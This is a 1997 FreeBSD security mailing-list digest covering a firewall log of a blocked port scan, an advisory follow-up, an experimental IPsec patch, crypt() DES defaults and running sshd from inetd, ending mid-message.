Z /kernel: ipfw: 2600 Deny TCP X:1448 Y:28 via de0 Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1449 Y:29 via de0 Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1450 Y:30 via de0 Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1451 Y:31 via de0 Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1452 Y:32 via de0 Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1453 Y:33 via de0 Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1454 Y:34 via de0 Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1455 Y:35 via de0 Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1456 Y:36 via de0 Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1457 Y:37 via de0 Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1458 Y:38 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1459 Y:39 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1460 Y:40 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1461 Y:41 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1462 Y:42 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1463 Y:43 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1464 Y:44 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1465 Y:45 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1466 Y:46 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1467 Y:47 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1468 Y:48 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1469 Y:49 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1470 Y:50 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1471 Y:51 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1472 Y:52 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1473 Y:53 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1474 Y:54 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1475 Y:55 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1476 Y:56 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1477 Y:57 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1478 Y:58 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1479 Y:59 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1480 Y:60 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1481 Y:61 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1482 Y:62 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1483 Y:63 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1484 Y:64 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1485 Y:65 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1486 Y:66 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1487 Y:67 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1488 Y:68 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1489 Y:69 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1490 Y:70 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1491 Y:71 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1492 Y:72 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1493 Y:73 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1494 Y:74 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1495 Y:75 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1496 Y:76 via de0 Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1497 Y:77 via de0 Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1430 Y:10 via de0 Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1432 Y:12 via de0 Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1433 Y:13 via de0 Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1431 Y:11 via de0 Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1434 Y:14 via de0 Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1441 Y:21 via de0 Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1435 Y:15 via de0 Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1436 Y:16 via de0 Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1443 Y:23 via de0 Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1444 Y:24 via de0 Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1445 Y:25 via de0 Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1438 Y:18 via de0 Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1446 Y:26 via de0 Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1447 Y:27 via de0 Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1448 Y:28 via de0 Jun 25 04:07:15 Z /kernel: ipfw: limit reached on rule #2600 -- Rob Hartill Internet Movie Database (Ltd) http://www.moviedatabase.com/ .. a site for sore eyes. From owner-freebsd-security Wed Jun 25 16:53:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA20899 for security-outgoing; Wed, 25 Jun 1997 16:53:22 -0700 (PDT) Received: from zen.nash.org (nash.pr.mcs.net [204.95.47.72]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA20879; Wed, 25 Jun 1997 16:53:10 -0700 (PDT) Received: from zen.nash.org (localhost.zen.nash.org [127.0.0.1]) by zen.nash.org (8.8.5/8.8.5) with SMTP id SAA27384; Wed, 25 Jun 1997 18:51:11 -0500 (CDT) Message-ID: <33B1AEEE.794BDF32@mcs.com> Date: Wed, 25 Jun 1997 18:51:10 -0500 From: Alex Nash X-Mailer: Mozilla 3.01Gold (X11; I; FreeBSD 2.2-STABLE i386) MIME-Version: 1.0 To: Darren Reed CC: security@FreeBSD.ORG, hackers@FreeBSD.ORG, tqbf@enteract.com Subject: Re: [ADVISORY] 4.4BSD Securelevels (fwd) References: <199706250629.XAA04410@hub.freebsd.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Darren Reed wrote: > > In some mail from Thomas H. Ptacek, sie said: [...] > > > > AFFECTED SYSTEMS > > > > It is believed that all 4.4BSD operating systems are currently vulnerable > > to this problem. A lack of BSDI source code prevents us from verifying > > it's applicability to that operating system. > > > > Systems known to be currently vulnerable include: > > > > OpenBSD 2.0 and OpenBSD 2.1 (the OpenBSD project has resolved this > > problem in OpenBSD-current). > > > > All currently available versions of FreeBSD (the FreeBSD project has > > resolved this problem in FreeBSD-current). Just to clarify: the fix for this has been available in all three branches (-current, 2.2-stable, and 2.1-stable) since Saturday. Alex From owner-freebsd-security Wed Jun 25 17:50:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA23836 for security-outgoing; Wed, 25 Jun 1997 17:50:07 -0700 (PDT) Received: from mail0.iij.ad.jp (mail0.iij.ad.jp [202.232.2.113]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA23826 for ; Wed, 25 Jun 1997 17:50:04 -0700 (PDT) Received: from uucp3.iij.ad.jp (uucp3.iij.ad.jp [202.232.2.203]) by mail0.iij.ad.jp (8.8.5+2.7Wbeta5/3.5Wpl4-MAIL) with SMTP id JAA12103 for ; Thu, 26 Jun 1997 09:50:02 +0900 (JST) Received: (from uucp@localhost) by uucp3.iij.ad.jp (8.6.12+2.4W/3.3W9-UUCP) with UUCP id JAA00312 for freebsd-security@freebsd.org; Thu, 26 Jun 1997 09:50:01 +0900 Received: (qmail 16466 invoked by uid 1000); 26 Jun 1997 00:49:28 -0000 Message-ID: <19970626004928.16465.qmail@reseau.toyonaka.osaka.jp> Date: Thu, 26 Jun 1997 09:49:28 +0900 (JST) From: Kenji Rikitake X-Sender: kenji@reseau.reseau.rcac.tdi.co.jp To: freebsd-security@freebsd.org cc: itojun@itojun.org, freebsd-hackers@freebsd.org Subject: Re: ipsec code made in Japan In-Reply-To: <12196.867054658@itojun.csl.sony.co.jp> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 23 Jun 1997 itojun@itojun.org wrote: > I've made a IPv4 IPsec patch to 2.2.1-RELEASE, in: > ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/ > (should be easily applied to 222-RELEASE too) > Please read the following document with care BEFORE downloading it. > ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/README Some more comments on the above experimental code: * AH (Authentication Header) works fine on 2.2.2-RELEASE kernels. * ESP (Encapsulated Security Payload, which means encrypted packets) has some glitches yet on the 970623 version yet, causing data corruption on TCP applications such as ftp or ssh. Itojun and the developpers are working hard to fix the problem. * Some kernel debugging experience is needed to involve the beta testing since the code is still in the experimental phase. // Kenji Rikitake // A beta tester of IPv4 IPsec on FreeBSD // An equal opportunistic encryptor. WWW: http://www.nn.iij4u.or.jp/~kenji/ From owner-freebsd-security Wed Jun 25 17:57:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA24108 for security-outgoing; Wed, 25 Jun 1997 17:57:15 -0700 (PDT) Received: from weblock.tm.net.my (weblock.tm.net.my [202.188.0.180]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA24103 for ; Wed, 25 Jun 1997 17:57:12 -0700 (PDT) Received: from lovebox ([202.184.153.17]) by weblock.tm.net.my (Post.Office MTA v3.1 release PO203a evaluation license) with SMTP id AAA16541; Thu, 26 Jun 1997 08:57:24 +0800 Message-Id: <3.0.32.19970626084811.0098e8a0@mail.tm.net.my> X-Sender: sweeting@mail.tm.net.my X-Mailer: Windows Eudora Pro Version 3.0 (32) To: Rob Hartill , security@freebsd.org From: chas Subject: Re: probing from jrc-5-104.tm.net.my Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Thu, 26 Jun 1997 08:57:24 +0800 Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk interesting indeed, It is a dial up to Telekom Malaysia's ISP section called tm.net.my. There is somebody on the freebsd-isp list who is from asiapac.net who do the Systems integration for tm.net.my and work closely with them in managing their system etc : sckhoo@asiapac.net (Swee-Chuan Khoo) Maybe he can help. I get a lot of console messages from them but expected that since I host mail for some companies whose staff dial up via tm.net.my (we ourselves are not an ISP) hth, chas ps. i would be interested if you do come up with anything. > >Anyone know anything about this host ? > >Name: jrc-5-104.tm.net.my >Address: 202.188.5.104 > >I noticed it probing ports in ipfw's logs. > >abbreviations: X = 202.188.5.104 Y = myhost Z = myhost > >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1422 Y:2 via de0 >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1423 Y:3 via de0 >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1424 Y:4 via de0 >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1425 Y:5 via de0 >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1426 Y:6 via de0 >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1428 Y:8 via de0 >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1429 Y:9 via de0 >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1430 Y:10 via de0 >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1431 Y:11 via de0 >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1432 Y:12 via de0 >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1433 Y:13 via de0 >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1434 Y:14 via de0 >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1435 Y:15 via de0 >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1436 Y:16 via de0 >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1437 Y:17 via de0 >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1438 Y:18 via de0 >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1440 Y:20 via de0 >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1441 Y:21 via de0 >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1443 Y:23 via de0 >Jun 25 04:07:12 Z /kernel: ipfw: 2600 Deny TCP X:1444 Y:24 via de0 >Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1445 Y:25 via de0 >Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1446 Y:26 via de0 >Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1447 Y:27 via de0 >Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1448 Y:28 via de0 >Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1449 Y:29 via de0 >Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1450 Y:30 via de0 >Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1451 Y:31 via de0 >Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1452 Y:32 via de0 >Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1453 Y:33 via de0 >Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1454 Y:34 via de0 >Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1455 Y:35 via de0 >Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1456 Y:36 via de0 >Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1457 Y:37 via de0 >Jun 25 04:07:13 Z /kernel: ipfw: 2600 Deny TCP X:1458 Y:38 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1459 Y:39 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1460 Y:40 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1461 Y:41 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1462 Y:42 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1463 Y:43 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1464 Y:44 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1465 Y:45 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1466 Y:46 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1467 Y:47 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1468 Y:48 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1469 Y:49 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1470 Y:50 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1471 Y:51 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1472 Y:52 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1473 Y:53 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1474 Y:54 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1475 Y:55 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1476 Y:56 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1477 Y:57 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1478 Y:58 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1479 Y:59 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1480 Y:60 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1481 Y:61 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1482 Y:62 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1483 Y:63 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1484 Y:64 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1485 Y:65 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1486 Y:66 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1487 Y:67 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1488 Y:68 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1489 Y:69 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1490 Y:70 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1491 Y:71 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1492 Y:72 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1493 Y:73 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1494 Y:74 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1495 Y:75 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1496 Y:76 via de0 >Jun 25 04:07:14 Z /kernel: ipfw: 2600 Deny TCP X:1497 Y:77 via de0 >Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1430 Y:10 via de0 >Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1432 Y:12 via de0 >Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1433 Y:13 via de0 >Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1431 Y:11 via de0 >Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1434 Y:14 via de0 >Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1441 Y:21 via de0 >Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1435 Y:15 via de0 >Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1436 Y:16 via de0 >Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1443 Y:23 via de0 >Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1444 Y:24 via de0 >Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1445 Y:25 via de0 >Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1438 Y:18 via de0 >Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1446 Y:26 via de0 >Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1447 Y:27 via de0 >Jun 25 04:07:15 Z /kernel: ipfw: 2600 Deny TCP X:1448 Y:28 via de0 >Jun 25 04:07:15 Z /kernel: ipfw: limit reached on rule #2600 > > > >-- >Rob Hartill Internet Movie Database (Ltd) >http://www.moviedatabase.com/ .. a site for sore eyes. > > From owner-freebsd-security Wed Jun 25 18:34:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA25949 for security-outgoing; Wed, 25 Jun 1997 18:34:50 -0700 (PDT) Received: from itojun.csl.sony.co.jp (root@itojun.csl.sony.co.jp [133.138.1.134]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA25924; Wed, 25 Jun 1997 18:34:41 -0700 (PDT) From: itojun@itojun.org Received: from localhost (itojun@localhost [127.0.0.1]) by itojun.csl.sony.co.jp (8.8.5/3.3W3) with ESMTP id KAA17486; Thu, 26 Jun 1997 10:34:26 +0900 (JST) To: Kenji Rikitake Cc: freebsd-security@freebsd.org, freebsd-hackers@freebsd.org Subject: Re: ipsec code made in Japan X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 References: <19970626004928.16465.qmail@reseau.toyonaka.osaka.jp> In-reply-to: Kenji Rikitake 's message of Thu, 26 Jun 1997 09:49:28 +0900 (JST). <19970626004928.16465.qmail@reseau.toyonaka.osaka.jp> X-Mailer: comp (MHng project) version 1997/04/30 02:23:09, by Jun-ichiro Itoh MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Content-ID: Date: Thu, 26 Jun 1997 10:34:26 +0900 Message-ID: <17483.867288866@itojun.csl.sony.co.jp> Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> I've made a IPv4 IPsec patch to 2.2.1-RELEASE, in: >> ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/ >> (should be easily applied to 222-RELEASE too) >> Please read the following document with care BEFORE downloading it. >> ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/README >Some more comments on the above experimental code: >* ESP (Encapsulated Security Payload, which means encrypted packets) > has some glitches yet on the 970623 version yet, causing data > corruption on TCP applications such as ftp or ssh. Itojun and the > developpers are working hard to fix the problem. thanks kenji, I've put ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/BUGS for this announcement :-) itojun From owner-freebsd-security Thu Jun 26 08:09:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA25165 for security-outgoing; Thu, 26 Jun 1997 08:09:00 -0700 (PDT) Received: from limbo.senate.org (nathan@senate.org [204.141.125.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA25160 for ; Thu, 26 Jun 1997 08:08:57 -0700 (PDT) Received: (from nathan@localhost) by limbo.senate.org (8.8.5/8.8.5) id LAA14025 for freebsd-security@freebsd.org; Thu, 26 Jun 1997 11:08:53 -0400 (EDT) Date: Thu, 26 Jun 1997 11:08:53 -0400 (EDT) From: Nathan Dorfman Message-Id: <199706261508.LAA14025@limbo.senate.org> To: freebsd-security@freebsd.org Subject: DES and IDEA Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello I have a question about FreeBSD's crypt(). If I installed DES when I originally installed the system, does the crypt() use DES by default? Is my password file DES or IDEA? Example: if I run Crack will it use DES or IDEA? Thanks! From owner-freebsd-security Thu Jun 26 09:15:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA28304 for security-outgoing; Thu, 26 Jun 1997 09:15:42 -0700 (PDT) Received: from ice.cold.org (cold.org [206.81.134.103]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA28297 for ; Thu, 26 Jun 1997 09:15:39 -0700 (PDT) Received: from localhost (brandon@localhost) by ice.cold.org (8.8.5/8.8.5) with SMTP id KAA09452; Thu, 26 Jun 1997 10:15:36 -0600 (MDT) Date: Thu, 26 Jun 1997 10:15:36 -0600 (MDT) From: Brandon Gillespie To: Nathan Dorfman cc: freebsd-security@FreeBSD.ORG Subject: Re: DES and IDEA In-Reply-To: <199706261508.LAA14025@limbo.senate.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 26 Jun 1997, Nathan Dorfman wrote: > Hello I have a question about FreeBSD's crypt(). If I installed DES > when I originally installed the system, does the crypt() use DES > by default? Is my password file DES or IDEA? Example: if I run Crack > will it use DES or IDEA? Thanks! yes, once you install DES it will use DES no matter what, unless you specify something else by passing crypt() a seed with the appropriate prefix. From the new crypt comments: /* // Assumptions made with the new crypt format ($xx$..$..), started // by Poul-Henning Kamp: // // + The version ($xx$) will be either a two to four alphanumeric // tag representing the encryption method, or a numeric version // (also representing the encryption method). $1$ is MD5, $2$ // is OpenBSD's Blowfish. Also known alphanumeric tags are: // MD5, SHA1 and BF--although Blowfish support is not integrated. // + If the new format $xx$.. is specified, but the tag is not // recognized, crypt() will default to the best method (currently // SHA-1). If new format is not specified, and DES is not // installed, the best method will also be used. However, if // DES is installed, and the new format is not specified, it // will use DES. // + passwords beginning with $xx$ always specify the new crypt format. // + Salt may not include '$' in it's character set--check for // this in code calling crypt, or it will truncate the salt. */ Along the same lines (this is not quite as relevant to your question) once this crypt() is integrated into the source tree, I also planned on submitting some changes to passwd to read a config file (such as /etc/passwd.conf) where it will get the default salt to use, so you can install DES on your system for old password, and set /etc/passwd.conf to use SHA1 encryption for any new crypt() calls, instead of defaulting to DES for everything. -Brandon Gillespie From owner-freebsd-security Thu Jun 26 11:48:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA05287 for security-outgoing; Thu, 26 Jun 1997 11:48:45 -0700 (PDT) Received: from limbo.senate.org (nathan@senate.org [204.141.125.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA05282 for ; Thu, 26 Jun 1997 11:48:43 -0700 (PDT) Received: (from nathan@localhost) by limbo.senate.org (8.8.5/8.8.5) id OAA14569 for freebsd-security@freebsd.org; Thu, 26 Jun 1997 14:48:44 -0400 (EDT) Date: Thu, 26 Jun 1997 14:48:44 -0400 (EDT) From: Nathan Dorfman Message-Id: <199706261848.OAA14569@limbo.senate.org> To: freebsd-security@freebsd.org Subject: SSHD from Inetd Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk How can I run sshd from inetd? I hate daemons that need their own process ;) From owner-freebsd-security Thu Jun 26 12:31:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA07331 for security-outgoing; Thu, 26 Jun 1997 12:31:48 -0700 (PDT) Received: from biggusdiskus.flyingfox.com (biggusdiskus.flyingfox.com [206.14.52.27]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA07326 for ; Thu, 26 Jun 1997 12:31:46 -0700 (PDT) Received: (from jas@localhost) by biggusdiskus.flyingfox.com (8.8.5/8.8.5) id MAA00269; Thu, 26 Jun 1997 12:31:08 -0700 (PDT) Date: Thu, 26 Jun 1997 12:31:08 -0700 (PDT) From: Jim Shankland Message-Id: <199706261931.MAA00269@biggusdiskus.flyingfox.com> To: freebsd-security@FreeBSD.ORG, nathan@senate.org Subject: Re: SSHD from Inetd Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Firing up sshd from inetd is a bad idea, as sshd does non-trivial key generation work on startup. It really wants to start up once, then fork for each incoming connection. Or you can do what we've done on some of our machines, and turn off inetd, leaving *only* sshd running. Who needs legacy protocols like telnet and ftp when you've got sshd? (Tongue partly in cheek here; but only partly. This really does work well in some environments.) Jim Shankland Flying Fox Computer Systems, Inc. From owner-freebsd-security Thu Jun 26 12:34:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA07434 for security-outgoing; Thu, 26 Jun 1997 12:34:07 -0700 (PDT) Received: from limbo.senate.org (nathan@senate.org [204.141.125.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA07426 for ; Thu, 26 Jun 1997 12:34:03 -0700 (PDT) Received: (from nathan@localhost) by limbo.senate.org (8.8.5/8.8.5) id PAA20854; Thu, 26 Jun 1997 15:33:52 -0400 (EDT) From: Nathan Dorfman Message-Id: <199706261933.PAA20854@limbo.senate.org> Subject: Re: SSHD from Inetd In-Reply-To: <199706261931.MAA00269@biggusdiskus.flyingfox.com> from Jim Shankland at "Jun 26, 97 12:31:08 pm" To: jas@flyingfox.com (Jim Shankland), freebsd-security@freebsd.org Date: Thu, 26 Jun 1997 15:33:51 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Actually I wanted sshd to run with tcpd :) is it possible to do that without inetd? Also, I have seen where sendmail was tcpd'd and HELO would report a pident output! Any info on this? > Firing up sshd from inetd is a bad idea, as sshd does non-trivial key > generation work on startup. It really wants to start up once, then fork > for each 